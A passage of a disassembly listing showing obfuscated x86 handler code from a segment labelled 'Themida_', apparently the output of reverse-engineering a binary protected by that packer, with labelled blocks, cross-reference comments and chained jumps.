add ebx, 4A78ACD6h
push eax
mov eax, ebx
jmp loc_565199
; ---------------------------------------------------------------------------
loc_5630C3: ; CODE XREF: Themida_:00552A6Ej
pop edx
push dword ptr [esp]
mov ecx, [esp]
jmp loc_559192
; ---------------------------------------------------------------------------
loc_5630CF: ; CODE XREF: Themida_:0055C9ABj
or al, 83h
jmp loc_5553CD
; ---------------------------------------------------------------------------
loc_5630D6: ; CODE XREF: Themida_:0055D8FEj
pop ebx
add ebp, 2C9A08F1h
sub ebp, 0E7E9EDA1h
jmp loc_554084
; ---------------------------------------------------------------------------
loc_5630E8: ; CODE XREF: Themida_:0055D9BBj
xor eax, 27B17051h
push edi
mov edi, 3DD043C3h
jmp loc_557F67
; ---------------------------------------------------------------------------
loc_5630F8: ; CODE XREF: Themida_:0055E6DAj
and edi, 4BE37129h
inc edi
xor edi, 65828504h
push ebx
mov ebx, 1E97145Ch
sub eax, ebx
pop ebx
sub eax, 19695712h
add eax, edi
add eax, 19695712h
add eax, 1E97145Ch
jmp loc_551B29
; ---------------------------------------------------------------------------
loc_563124: ; CODE XREF: Themida_:0055845Bj
add edx, 4EC24BE2h
add edx, ecx
sub edx, 4EC24BE2h
add edx, 4AD94751h
push dword ptr [esp]
mov ecx, [esp]
push edi
jmp loc_563CEB
; ---------------------------------------------------------------------------
loc_563144: ; CODE XREF: Themida_:0055B201j
dec edx
shl edx, 7
jmp loc_55120A
; ---------------------------------------------------------------------------
loc_56314D: ; CODE XREF: Themida_:0055ADEDj
mov ebp, 64AD2692h
jmp loc_56302A
; ---------------------------------------------------------------------------
loc_563157: ; CODE XREF: Themida_:00564918j
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
jmp loc_55610F
; ---------------------------------------------------------------------------
loc_563169: ; CODE XREF: Themida_:0055D5E0j
xor dl, 0B1h
mov bh, dl
pop edx
add dh, bh
jmp loc_563B0C
; ---------------------------------------------------------------------------
loc_563176: ; CODE XREF: Themida_:0055930Bj
add esp, 4
jmp loc_55BABE
; ---------------------------------------------------------------------------
loc_56317E: ; CODE XREF: Themida_:00561D72j
push 0
sub [esp], eax
jmp loc_559702
; ---------------------------------------------------------------------------
loc_56318B: ; CODE XREF: Themida_:0055E760j
shr dh, 4
sub dh, 0E3h
add al, dh
pop edx
push dx
push eax
mov ah, 0F0h
shr ah, 1
not ah
or ah, 3Fh
dec ah
shl ah, 8
jmp loc_55A49C
; ---------------------------------------------------------------------------
loc_5631AA: ; CODE XREF: Themida_:0055FBECj
pop ebx
pop edx
push eax
jmp loc_5555FB
; ---------------------------------------------------------------------------
loc_5631B2: ; CODE XREF: Themida_:0055F508j
add esi, ecx
jmp loc_55BA0D
; ---------------------------------------------------------------------------
loc_5631B9: ; CODE XREF: Themida_:005510EAj
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
add [esp], ax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5631E3: ; CODE XREF: Themida_:0055FDACj
mov edx, 67E41EFEh
mov esi, edx
pop edx
mov eax, 4C89C102h
add eax, esi
pop esi
add edx, eax
pop eax
mov ebp, edx
jmp loc_557EAD
; ---------------------------------------------------------------------------
loc_5631FD: ; CODE XREF: Themida_:0055E0ABj
push eax
jmp loc_5509CF
; ---------------------------------------------------------------------------
loc_563203: ; CODE XREF: Themida_:00561AD0j
add ebp, 720A277Ah
push eax
mov eax, 0B1CD4DC8h
add ebp, eax
pop eax
add edi, ebp
jmp loc_563F0C
; ---------------------------------------------------------------------------
loc_563219: ; CODE XREF: Themida_:00562A81j
pop esp
mov [esp], eax
jmp loc_55C0D6
; ---------------------------------------------------------------------------
loc_563222: ; CODE XREF: Themida_:0055DFEEj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_558574
; ---------------------------------------------------------------------------
loc_563231: ; CODE XREF: Themida_:00565329j
xor edx, 39EC537Fh
sub ebx, edx
pop edx
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push eax
jmp loc_5541FD
; ---------------------------------------------------------------------------
loc_56325B: ; CODE XREF: Themida_:0055F559j
mov eax, ebx
pop ebx
sub esi, eax
pop eax
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], cx
jmp loc_555682
; ---------------------------------------------------------------------------
loc_563274: ; CODE XREF: Themida_:005555C1j
xor esi, 42536FE7h
add ebx, esi
pop esi
sub edi, ebx
jmp loc_55AB00
; ---------------------------------------------------------------------------
loc_563284: ; CODE XREF: Themida_:005523C1j
push edi
mov edi, 4
add edx, edi
pop edi
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
jmp loc_55F044
; ---------------------------------------------------------------------------
loc_56329C: ; CODE XREF: Themida_:00559475j
push esi
jmp loc_5566DE
; ---------------------------------------------------------------------------
loc_5632A2: ; CODE XREF: Themida_:00561D7Dj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_56120C
; ---------------------------------------------------------------------------
loc_5632B4: ; CODE XREF: Themida_:0055C38Dj
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
sub [esp], eax
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5632C7: ; CODE XREF: Themida_:00551155j
sub ebx, ebp
jmp loc_559DF9
; ---------------------------------------------------------------------------
loc_5632CE: ; CODE XREF: Themida_:00559166j
shr ebx, 7
shl ebx, 1
sub ebx, 0DB3B3C6Ah
sub eax, 3F3F31D8h
add eax, 1E407CC3h
add eax, ebx
jmp loc_563418
; ---------------------------------------------------------------------------
loc_5632EA: ; CODE XREF: Themida_:0055A833j
push esp
push dword ptr [esp]
pop esi
add esp, 4
push 19A5h
mov [esp], ecx
push ebp
mov ebp, 4
mov ecx, ebp
jmp loc_550693
; ---------------------------------------------------------------------------
loc_563307: ; CODE XREF: Themida_:0055A563j
xor bh, ch
jmp loc_551714
; ---------------------------------------------------------------------------
loc_56330E: ; CODE XREF: Themida_:0055DB3Cj
mov eax, 1E635EFAh
jmp loc_56387F
; ---------------------------------------------------------------------------
loc_563318: ; CODE XREF: Themida_:00550D3Dj
or eax, 3EAB11C3h
add eax, 53BE1036h
jmp loc_55C762
; ---------------------------------------------------------------------------
loc_563327: ; CODE XREF: Themida_:0055A67Ej
add esp, 4
jmp loc_5639E6
; ---------------------------------------------------------------------------
loc_56332F: ; CODE XREF: Themida_:00554612j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_55D696
; ---------------------------------------------------------------------------
lodsb
push edx
jmp loc_55CED7
; ---------------------------------------------------------------------------
loc_56334A: ; CODE XREF: Themida_:0055C252j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], edx
push esp
mov edx, [esp]
add esp, 4
add edx, 4
add edx, 4
jmp loc_55EEA7
; ---------------------------------------------------------------------------
loc_563379: ; CODE XREF: Themida_:0055BDE3j
add edx, 5CF24296h
sub edx, 719F78A1h
add edx, 4BE83EBCh
pop ebp
push 3E5Fh
jmp loc_565144
; ---------------------------------------------------------------------------
loc_563396: ; CODE XREF: Themida_:0055DB7Bj
sub ebx, 1E175464h
sub ebx, ebp
add ebx, 1E175464h
pop ebp
sub ebp, 71330043h
add ebp, ebx
add ebp, 71330043h
pop ebx
or ebp, 43BF1CB6h
jmp loc_55826D
; ---------------------------------------------------------------------------
loc_5633BF: ; CODE XREF: Themida_:00550898j
add esi, edx
jmp loc_562AF4
; ---------------------------------------------------------------------------
loc_5633C6: ; CODE XREF: Themida_:00550800j
pop ecx
mov ebx, eax
pop eax
push 1882h
jmp loc_55A11C
; ---------------------------------------------------------------------------
loc_5633D4: ; CODE XREF: Themida_:0055C948j
xor eax, [esp]
mov esp, [esp]
push 2365h
jmp loc_553E57
; ---------------------------------------------------------------------------
loc_5633E4: ; CODE XREF: Themida_:00556355j
pop ecx
mov edi, [esp]
jmp loc_55900F
; ---------------------------------------------------------------------------
loc_5633ED: ; CODE XREF: Themida_:005558AAj
pop eax
push ebp
sub dword ptr [esp], 55340451h
jmp loc_55EB98
; ---------------------------------------------------------------------------
loc_5633FB: ; CODE XREF: Themida_:0055B081j
push edi
push esp
jmp loc_5581BE
; ---------------------------------------------------------------------------
loc_563402: ; CODE XREF: Themida_:0055A49Fj
mov dh, ah
mov eax, [esp]
add esp, 4
add al, 0C2h
add al, dh
sub al, 0C2h
jmp loc_55B8D2
; ---------------------------------------------------------------------------
loc_563418: ; CODE XREF: Themida_:005632E5j
push ebp
mov ebp, 1E407CC3h
sub eax, ebp
pop ebp
jmp loc_554B70
; ---------------------------------------------------------------------------
loc_563426: ; CODE XREF: Themida_:00551ACBj
add ebx, 4DE37C48h
push ebp
jmp loc_55F6A5
; ---------------------------------------------------------------------------
loc_563432: ; CODE XREF: Themida_:00553427j
mov [esp], edi
push dword ptr [esp+4]
push dword ptr [esp]
pop edi
jmp loc_553658
; ---------------------------------------------------------------------------
loc_563442: ; CODE XREF: Themida_:0055E315j
sub dword ptr [esp], 8DE5732h
pop eax
add eax, 8DE5732h
push dword ptr [esp]
pop ecx
push eax
push 70DCh
mov [esp], esp
add dword ptr [esp], 4
jmp loc_555B26
; ---------------------------------------------------------------------------
loc_563465: ; CODE XREF: Themida_:0055968Aj
mov ebx, 0EF951ED5h
sub eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_55A27D
; ---------------------------------------------------------------------------
loc_56347A: ; CODE XREF: Themida_:00564ACAj
mov ecx, 277F417Bh
sub ecx, esi
pop esi
and edi, ecx
pop ecx
jmp loc_553E00
; ---------------------------------------------------------------------------
loc_56348A: ; CODE XREF: Themida_:00563DDDj
add ecx, ebx
pop ebx
shr ecx, 6
inc ecx
push eax
push esi
push ebp
mov ebp, 73175532h
add ebp, 8D6D4B4Ah
mov esi, ebp
jmp loc_5534B6
; ---------------------------------------------------------------------------
loc_5634A6: ; CODE XREF: Themida_:005541ECj
sub ecx, esi
pop esi
jmp loc_560065
; ---------------------------------------------------------------------------
loc_5634AE: ; CODE XREF: Themida_:00552F13j
pop ebp
push 4F78h
mov [esp], eax
mov eax, 19025CB0h
jmp loc_55221B
; ---------------------------------------------------------------------------
loc_5634C1: ; CODE XREF: Themida_:0055F2A4j
pop eax
xor eax, ecx
pop ecx
jmp loc_558B3B
; ---------------------------------------------------------------------------
loc_5634CA: ; CODE XREF: Themida_:loc_55F5BEj
push 401Eh
mov [esp], edi
push esp
jmp loc_554571
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_55F9FC
; ---------------------------------------------------------------------------
loc_5634E0: ; CODE XREF: Themida_:005618AAj
sub edx, 44A630CBh
jmp loc_560339
; ---------------------------------------------------------------------------
loc_5634EB: ; CODE XREF: Themida_:0055356Cj
add eax, 150A1E4Fh
jmp loc_55776C
; ---------------------------------------------------------------------------
loc_5634F5: ; CODE XREF: Themida_:0055E960j
mov ebp, 384F2323h
inc ebp
add ebp, 4A2078CCh
push eax
mov eax, 15D85F5Bh
jmp loc_5638A3
; ---------------------------------------------------------------------------
loc_56350C: ; CODE XREF: Themida_:00565A92j
mov cl, 2Eh
jmp loc_55C0FA
; ---------------------------------------------------------------------------
loc_563513: ; CODE XREF: Themida_:0055669Aj
sub [esp], dl
add byte ptr [esp], 8Bh
jmp loc_5571D2
; ---------------------------------------------------------------------------
loc_56351F: ; CODE XREF: Themida_:00560334j
neg ebp
sub ebp, 3DD72A68h
shr ebp, 8
shl ebp, 3
inc ebp
xor ebp, 4A1DCB5h
mov eax, ebp
pop ebp
add esi, eax
mov eax, [esp]
add esp, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
sub eax, 1BF4109Ch
pop edx
push esi
push esp
pop esi
push edx
mov edx, 64A53112h
not edx
dec edx
add edx, 64A53118h
add esi, edx
pop edx
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
mov ecx, 6EB07437h
jmp loc_560EE7
; ---------------------------------------------------------------------------
loc_56357A: ; CODE XREF: Themida_:0055444Bj
add eax, ebp
jmp loc_558CC6
; ---------------------------------------------------------------------------
loc_563581: ; CODE XREF: Themida_:00553706j
sub edi, 4
jmp loc_557D01
; ---------------------------------------------------------------------------
loc_56358C: ; CODE XREF: Themida_:0055F8E3j
xchg esi, [esp]
pop esp
and [edi+1Ch], edx
jmp loc_56193E
; ---------------------------------------------------------------------------
loc_563598: ; CODE XREF: Themida_:0055AAA4j
mov ebx, 15A61FCBh
not ebx
add ebx, 1EE37AD0h
sub ebx, 1
jmp loc_557D7E
; ---------------------------------------------------------------------------
loc_5635AD: ; CODE XREF: Themida_:00554CD0j
push eax
mov al, 50h
shl al, 4
or al, 6Eh
xor al, 85h
sub al, 95h
xor al, 0C1h
xor cl, al
pop eax
sub bl, cl
jmp loc_55CAEB
; ---------------------------------------------------------------------------
loc_5635C5: ; CODE XREF: Themida_:00552CA3j
mov edx, eax
mov ebx, edx
pop edx
mov eax, [esp]
add esp, 4
add ebx, 20A96C4Ch
push ebp
mov ebp, 41BE560Eh
neg ebp
shr ebp, 2
sub ebp, 1
and ebp, 19711D65h
jmp loc_55DB6F
; ---------------------------------------------------------------------------
loc_5635F2: ; CODE XREF: Themida_:005564D3j
mov edx, [esp]
add esp, 4
jmp loc_555BEB
; ---------------------------------------------------------------------------
loc_5635FD: ; CODE XREF: Themida_:0055B286j
push ebx
mov ebx, 0F0E03317h
add ebp, 21C92F8Fh
jmp loc_55D056
; ---------------------------------------------------------------------------
loc_56360E: ; CODE XREF: Themida_:0055A124j
sub ecx, edi
pop edi
add ecx, ebx
push ebx
mov ebx, 6C96D67h
add ecx, ebx
pop ebx
pop ebx
push ebx
mov ebx, esp
jmp loc_552B36
; ---------------------------------------------------------------------------
loc_563625: ; CODE XREF: Themida_:0055172Dj
xchg eax, [esp]
pop esp
and ebx, esi
mov esi, [esp]
add esp, 4
push ecx
jmp loc_55F2F8
; ---------------------------------------------------------------------------
loc_563637: ; CODE XREF: Themida_:00563B6Fj
mov bl, 0EAh
push dx
jmp loc_562CFD
; ---------------------------------------------------------------------------
loc_563640: ; CODE XREF: Themida_:005539DFj
pop ebp
xchg edx, [esp]
pop esp
mov [esp], edi
push esp
pop edi
add edi, 4
push eax
sub esp, 4
mov [esp], edi
jmp loc_55DE58
; ---------------------------------------------------------------------------
loc_56365F: ; CODE XREF: Themida_:00565AFEj
neg dh
jmp loc_55A5A8
; ---------------------------------------------------------------------------
loc_563666: ; CODE XREF: Themida_:005529EBj
mov [esp], ecx
push 4
mov ecx, [esp]
add esp, 4
add esi, 233D7FF2h
add esi, ecx
jmp loc_5615BF
; ---------------------------------------------------------------------------
loc_563684: ; CODE XREF: Themida_:0055E8B2j
pop eax
sub ebp, 1B33A08h
push edx
mov edx, 436C2B54h
inc edx
jmp loc_565586
; ---------------------------------------------------------------------------
loc_563697: ; CODE XREF: Themida_:00551F11j
mov [esp], bx
push esi
push esp
pop esi
jmp loc_560080
; ---------------------------------------------------------------------------
loc_5636A3: ; CODE XREF: Themida_:005565ECj
xor [esp], esi
xor esi, [esp]
jmp loc_56540C
; ---------------------------------------------------------------------------
loc_5636AE: ; CODE XREF: Themida_:005577C3j
mov ebx, 6A005C47h
add ebx, 6BAE6E3Bh
inc ebx
jmp loc_559160
; ---------------------------------------------------------------------------
loc_5636BF: ; CODE XREF: Themida_:00557ECEj
push dword ptr [esp]
pop ebp
add esp, 4
sub esp, 4
jmp loc_5652C9
; ---------------------------------------------------------------------------
loc_5636D4: ; CODE XREF: Themida_:0055BB63j
push ecx
push edx
jmp loc_559D67
; ---------------------------------------------------------------------------
loc_5636DB: ; CODE XREF: Themida_:00562AA2j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_5636E0: ; CODE XREF: Themida_:005586E3j
mov [esp], ebp
jmp loc_554E7F
; ---------------------------------------------------------------------------
loc_5636E8: ; CODE XREF: Themida_:0055062Cj
push edx
jmp loc_55D1E7
; ---------------------------------------------------------------------------
loc_5636EE: ; CODE XREF: Themida_:0055BDB7j
sub eax, edi
pop edi
add eax, 6AF94FC1h
sub eax, 34C13910h
sub eax, ebp
add eax, 34C13910h
push ecx
jmp loc_557877
; ---------------------------------------------------------------------------
loc_563708: ; CODE XREF: Themida_:00560F9Ej
sub ecx, 626A1806h
sub ecx, 2E822F44h
sub edx, ecx
pop ecx
add edx, esi
jmp loc_557FD8
; ---------------------------------------------------------------------------
loc_56371E: ; CODE XREF: Themida_:005518F7j
add esp, 4
add eax, ecx
pop ecx
push edi
mov edi, 6D0970E1h
sub eax, edi
mov edi, [esp]
add esp, 4
sub eax, ebx
push edx
push ebx
mov ebx, 0C6B2E09h
inc ebx
push ecx
mov ecx, 209D2780h
sub ecx, 37694D7Eh
sub ecx, 7FBE55C5h
or ecx, 484C4439h
jmp loc_565245
; ---------------------------------------------------------------------------
loc_56375F: ; CODE XREF: Themida_:00564811j
mov [esp], ebx
mov ebx, 3CDF40CDh
or edx, ebx
pop ebx
add edx, 0C100BD07h
add edi, edx
pop edx
push ebx
mov ebx, 0DD26603h
neg ebx
or ebx, 4C2D7F2Ch
shr ebx, 5
xor ebx, 7F16FFBh
jmp loc_56092F
; ---------------------------------------------------------------------------
loc_56378F: ; CODE XREF: Themida_:00564575j
push ecx
push eax
mov eax, 336F6069h
dec eax
jmp loc_551838
; ---------------------------------------------------------------------------
loc_56379C: ; CODE XREF: Themida_:00563D60j
mov esi, 699544D1h
jmp loc_550A08
; ---------------------------------------------------------------------------
loc_5637A6: ; CODE XREF: Themida_:0055193Bj
mov esp, [esp]
push edx
mov edx, 4
add ecx, edx
pop edx
jmp loc_551842
; ---------------------------------------------------------------------------
loc_5637B7: ; CODE XREF: Themida_:00550C7Bj
add eax, 562B2A64h
push ebx
mov ebx, 0D082291h
add eax, 56B56A8Ch
sub eax, ebx
sub eax, 56B56A8Ch
mov ebx, [esp]
add esp, 4
sub eax, edx
sub esp, 4
mov [esp], ebp
mov ebp, 4344275Fh
push eax
jmp loc_552049
; ---------------------------------------------------------------------------
loc_5637EA: ; CODE XREF: Themida_:00565A4Bj
add esp, 4
push ecx
mov ecx, 4
add ebp, ecx
jmp loc_5569FE
; ---------------------------------------------------------------------------
loc_5637FA: ; CODE XREF: Themida_:0055DFA2j
push 2712h
push esp
pop dword ptr [esp]
jmp loc_555C1F
; ---------------------------------------------------------------------------
loc_563808: ; CODE XREF: Themida_:005658BCj
xor esi, 68134C50h
jmp loc_55477D
; ---------------------------------------------------------------------------
loc_563813: ; CODE XREF: Themida_:0055FEECj
and ecx, 66622246h
jmp loc_55A799
; ---------------------------------------------------------------------------
loc_56381E: ; CODE XREF: Themida_:0055EC23j
xchg edi, [esp]
pop esp
mov [esp], edi
mov edi, 6CC5477Fh
sub edi, 71974909h
jmp loc_562B9D
; ---------------------------------------------------------------------------
loc_563835: ; CODE XREF: Themida_:0055A4EEj
mov [esp], eax
xchg edi, [esp]
xor edi, ecx
xor ecx, edi
xor edi, ecx
not ecx
xor edi, ecx
xor ecx, edi
jmp loc_5581A8
; ---------------------------------------------------------------------------
mov cx, [esp]
push 47B6h
mov [esp], edx
jmp loc_551DAC
; ---------------------------------------------------------------------------
loc_56385D: ; CODE XREF: Themida_:0055806Ej
pop ebp
add edx, 1E2EF527h
jmp loc_5646F3
; ---------------------------------------------------------------------------
loc_563869: ; CODE XREF: Themida_:0055B174j
pop esi
dec esi
jmp loc_552CB3
; ---------------------------------------------------------------------------
loc_563870: ; CODE XREF: Themida_:00556A1Aj
mov [esp], ebp
sub esp, 4
mov [esp], eax
push ebx
jmp loc_554CFD
; ---------------------------------------------------------------------------
loc_56387F: ; CODE XREF: Themida_:00563313j
and edx, eax
pop eax
push 4FACh
jmp loc_56573E
; ---------------------------------------------------------------------------
loc_56388C: ; CODE XREF: Themida_:0055A869j
add esp, 4
add edx, edi
sub edx, 0DDC1683h
pop edi
xor edx, [esp]
xor [esp], edx
jmp loc_5587C4
; ---------------------------------------------------------------------------
loc_5638A3: ; CODE XREF: Themida_:00563507j
or ebp, eax
mov eax, [esp]
add esp, 4
sub ebp, 97FFDFFCh
jmp loc_5552C1
; ---------------------------------------------------------------------------
loc_5638B9: ; CODE XREF: Themida_:00558D8Cj
pop ebp
jmp loc_561B42
; ---------------------------------------------------------------------------
loc_5638BF: ; CODE XREF: Themida_:00558298j
push ebx
push esi
mov esi, 165B5272h
mov ebx, esi
pop esi
or ebx, 49CE2F45h
jmp loc_564BE1
; ---------------------------------------------------------------------------
loc_5638D4: ; CODE XREF: Themida_:0055CD8Cj
xchg esi, [esp]
pop esp
mov [esp], ecx
mov ecx, esp
push 4313h
mov [esp], esi
jmp loc_55B35D
; ---------------------------------------------------------------------------
loc_5638EA: ; CODE XREF: Themida_:0055B19Ej
mov ecx, 63976753h
xor ecx, 44252903h
shr ecx, 8
jmp loc_560165
; ---------------------------------------------------------------------------
loc_5638FD: ; CODE XREF: Themida_:00560AFAj
add ebx, 0C28B2EA1h
push ecx
mov ecx, ebx
push edx
jmp loc_55E914
; ---------------------------------------------------------------------------
loc_56390C: ; CODE XREF: Themida_:00551663j
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
mov ecx, [esp]
add esp, 4
xchg esi, [esp]
pop esp
movzx eax, al
lea eax, [edi+eax*4]
push 0EF8h
mov [esp], esi
sub esp, 4
jmp loc_565711
; ---------------------------------------------------------------------------
loc_563943: ; CODE XREF: Themida_:0056540Dj
ror word ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_56394D: ; CODE XREF: Themida_:00550483j
and esi, 35D5546Fh
xor esi, 25426B91h
push ebp
mov ebp, 5A163D3h
sub ebp, 47E11A8Eh
or ebp, 37E07C70h
xor ebp, 47CA320Ch
shl ebp, 4
add ebp, 0CCF318C2h
xor esi, ebp
pop ebp
add esi, 0E7F6D29Eh
jmp loc_55A185
; ---------------------------------------------------------------------------
loc_563988: ; CODE XREF: Themida_:00555766j
mov [esp], ecx
jmp loc_558073
; ---------------------------------------------------------------------------
loc_563990: ; CODE XREF: Themida_:0055A087j
push dword ptr [esp]
pop ebp
add esp, 4
push 1678h
mov [esp], ebx
jmp loc_565AD5
; ---------------------------------------------------------------------------
loc_5639A7: ; CODE XREF: Themida_:00560365j
sub ebp, 2817398Ah
pop ebx
jmp loc_551940
; ---------------------------------------------------------------------------
loc_5639B3: ; CODE XREF: Themida_:005607CAj
mov ecx, 65C0092Bh
xor ecx, 43857F06h
sub ecx, 46C8362Eh
xor edx, ecx
pop ecx
and eax, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
sub esp, 4
jmp loc_5522F7
; ---------------------------------------------------------------------------
loc_5639E6: ; CODE XREF: Themida_:0056332Aj
xor ecx, 71E7ADE9h
xor eax, ecx
mov ecx, [esp]
add esp, 4
push ecx
push ebp
mov ebp, 63627524h
mov ecx, ebp
pop ebp
push esi
mov esi, 58353DB8h
and esi, 6243C25h
not esi
jmp loc_55BE24
; ---------------------------------------------------------------------------
loc_563A11: ; CODE XREF: Themida_:0055A447j
or edx, 23607528h
sub edx, 7FFFFF79h
add eax, 264377C1h
add eax, edx
sub eax, 264377C1h
mov edx, [esp]
add esp, 4
push edi
mov edi, 4
push edx
mov edx, esp
add edx, 4
jmp loc_5567E7
; ---------------------------------------------------------------------------
loc_563A46: ; CODE XREF: Themida_:0055E2D9j
mov esp, [esp]
jmp loc_55DF1C
; ---------------------------------------------------------------------------
loc_563A4E: ; CODE XREF: Themida_:0055567Dj
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push eax
mov al, 0A9h
sub al, 31h
mov bl, al
pop eax
sub bl, 1
push edx
mov dl, 73h
xor dl, 0FBh
jmp loc_561E9F
; ---------------------------------------------------------------------------
lodsd
sub eax, 4DC53A61h
jmp loc_55E7EC
; ---------------------------------------------------------------------------
loc_563A81: ; CODE XREF: Themida_:00561274j
mov [esp], ebx
push ecx
mov ecx, 38D33AB1h
shr ecx, 5
neg ecx
push edi
mov edi, 12DF0D3Eh
shr edi, 6
jmp loc_55FD8A
; ---------------------------------------------------------------------------
loc_563A9D: ; CODE XREF: Themida_:0056455Fj
mov [esp], edi
mov edi, 2CC51D0Dh
inc edi
push eax
jmp loc_560149
; ---------------------------------------------------------------------------
loc_563AAC: ; CODE XREF: Themida_:00551CA2j
add edi, 4
jmp loc_561C7B
; ---------------------------------------------------------------------------
loc_563AB7: ; CODE XREF: Themida_:0055E9E0j
sub eax, ecx
jmp loc_5560F8
; ---------------------------------------------------------------------------
loc_563ABE: ; CODE XREF: Themida_:005624CDj
mov cx, 4A8Ah
push edx
mov dx, 2FFAh
jmp loc_55FF27
; ---------------------------------------------------------------------------
loc_563ACC: ; CODE XREF: Themida_:00564F26j
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_55BC5B
; ---------------------------------------------------------------------------
loc_563ADB: ; CODE XREF: Themida_:0055E9A1j
add edi, 690C4871h
push edi
sub dword ptr [esp], 0FFFFFFFFh
mov edi, [esp]
add esp, 4
push ecx
mov ecx, 60A0226Bh
xor ecx, 6E3B3320h
and ecx, 19110687h
xor ecx, 0AC092290h
jmp loc_55A29F
; ---------------------------------------------------------------------------
loc_563B0C: ; CODE XREF: Themida_:00563171j
mov bx, [esp]
push edi
mov edi, esp
add edi, 4
push esi
mov esi, 2
jmp loc_55A101
; ---------------------------------------------------------------------------
loc_563B24: ; CODE XREF: Themida_:0055E8A8j
push ecx
mov ecx, 71D86B79h
jmp loc_564AFE
; ---------------------------------------------------------------------------
loc_563B2F: ; CODE XREF: Themida_:005526EDj
mov ebp, 24FD400Dh
add eax, 7F8D4AD6h
jmp loc_5569AC
; ---------------------------------------------------------------------------
loc_563B3E: ; CODE XREF: Themida_:00563B7Ej
add esp, 4
push ecx
sub esp, 4
mov [esp], eax
mov eax, 2
mov ecx, eax
jmp loc_565092
; ---------------------------------------------------------------------------
loc_563B5A: ; CODE XREF: Themida_:0055153Fj
xor edi, [esp]
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_556832
; ---------------------------------------------------------------------------
loc_563B69: ; CODE XREF: Themida_:00551647j
mov [esp], ecx
mov ch, 0Fh
push ebx
jmp loc_563637
; ---------------------------------------------------------------------------
loc_563B74: ; CODE XREF: Themida_:0055145Aj
add eax, ebx
sub eax, 1397464Ah
mov ebx, [esp]
jmp loc_563B3E
; ---------------------------------------------------------------------------
loc_563B83: ; CODE XREF: Themida_:005510F7j
xchg eax, [esp]
pop esp
pop edx
sub eax, 5E051CF5h
add eax, ebx
add eax, 5E051CF5h
pop ebx
push edx
mov edx, 2
jmp loc_5594F8
; ---------------------------------------------------------------------------
loc_563BA0: ; CODE XREF: Themida_:00556CEAj
mov ebx, [esp]
jmp loc_556554
; ---------------------------------------------------------------------------
loc_563BA8: ; CODE XREF: Themida_:00557A22j
add esp, 4
add ebx, 4
xchg ebx, [esp]
pop esp
or edx, eax
shl edx, 1
push ebp
mov ebp, 1
push eax
mov eax, 24h
add eax, edi
push ebx
mov ebx, 0
add ebx, eax
add [ebx], ebp
pop ebx
mov eax, [esp]
push esi
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop esi
push edx
push 4
jmp loc_5578CD
; ---------------------------------------------------------------------------
loc_563BF3: ; CODE XREF: Themida_:00552D3Dj
mov edx, 2ED0049Dh
jmp loc_553A2B
; ---------------------------------------------------------------------------
loc_563BFD: ; CODE XREF: Themida_:0055DB9Aj
add dh, 8
and cl, dh
pop edx
add cl, 9Dh
sub al, cl
pop ecx
sub al, 39h
jmp loc_559435
; ---------------------------------------------------------------------------
loc_563C10: ; CODE XREF: Themida_:00555F3Cj
sub bl, al
push 2A2Fh
jmp loc_554CE0
; ---------------------------------------------------------------------------
loc_563C1C: ; CODE XREF: Themida_:00560C69j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_559C10
; ---------------------------------------------------------------------------
loc_563C2E: ; CODE XREF: Themida_:0055DE75j
jmp loc_550420
; ---------------------------------------------------------------------------
loc_563C33: ; CODE XREF: Themida_:00551DA7j
mov edx, 129221C3h
push edx
not dword ptr [esp]
jmp loc_55E7E6
; ---------------------------------------------------------------------------
loc_563C41: ; CODE XREF: Themida_:005648C8j
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_556BC4
; ---------------------------------------------------------------------------
loc_563C56: ; CODE XREF: Themida_:00564AC0j
xor ebx, [esp]
mov esp, [esp]
sar word ptr [esp], cl
pushf
jmp loc_550420
; ---------------------------------------------------------------------------
loc_563C66: ; CODE XREF: Themida_:00564909j
mov esi, 289F1FCBh
jmp loc_554759
; ---------------------------------------------------------------------------
loc_563C70: ; CODE XREF: Themida_:00560802j
push 43D4h
mov [esp], edx
mov edx, 4
sub esp, 4
jmp loc_5584EE
; ---------------------------------------------------------------------------
loc_563C85: ; CODE XREF: Themida_:0055CB04j
mov [esp], ebx
jmp loc_55DFCF
; ---------------------------------------------------------------------------
loc_563C8D: ; CODE XREF: Themida_:00555C57j
add eax, 2
jmp loc_559E6B
; ---------------------------------------------------------------------------
loc_563C95: ; CODE XREF: Themida_:00557113j
push 219Ah
mov [esp], esi
jmp loc_561245
; ---------------------------------------------------------------------------
loc_563CA2: ; CODE XREF: Themida_:00556395j
pop ecx
jmp loc_56409E
; ---------------------------------------------------------------------------
loc_563CA8: ; CODE XREF: Themida_:0055F3ACj
mov [esp], ebx
